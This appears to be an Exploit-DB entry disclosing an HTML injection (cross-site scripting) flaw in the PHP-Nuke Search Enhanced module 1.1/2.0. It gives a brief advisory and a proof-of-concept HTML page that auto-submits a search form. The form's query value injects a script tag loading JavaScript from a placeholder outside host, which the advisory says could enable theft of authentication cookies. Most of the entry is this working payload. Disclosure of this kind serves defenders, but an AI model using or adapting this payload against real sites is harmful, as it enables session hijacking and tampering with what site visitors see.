PHP-Nuke Search Enhanced Module 1.1/2.0 - HTML Injection

EDB-ID:

26428


Author:

bhfh01

Type:

webapps


Platform:

PHP

Date:

2005-10-26


source: https://www.securityfocus.com/bid/15218/info

Search Enhanced module for is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

<html>
<form name=searchform method=post action=http://www.example.com/modules.php?name=Search_Enhanced>
<input type="text" name="query" size="15" value='<script src=http://[location]/js.js></script>'>
<input type=submit name=sub>
<script>document.searchform.sub.click()</script>
</html>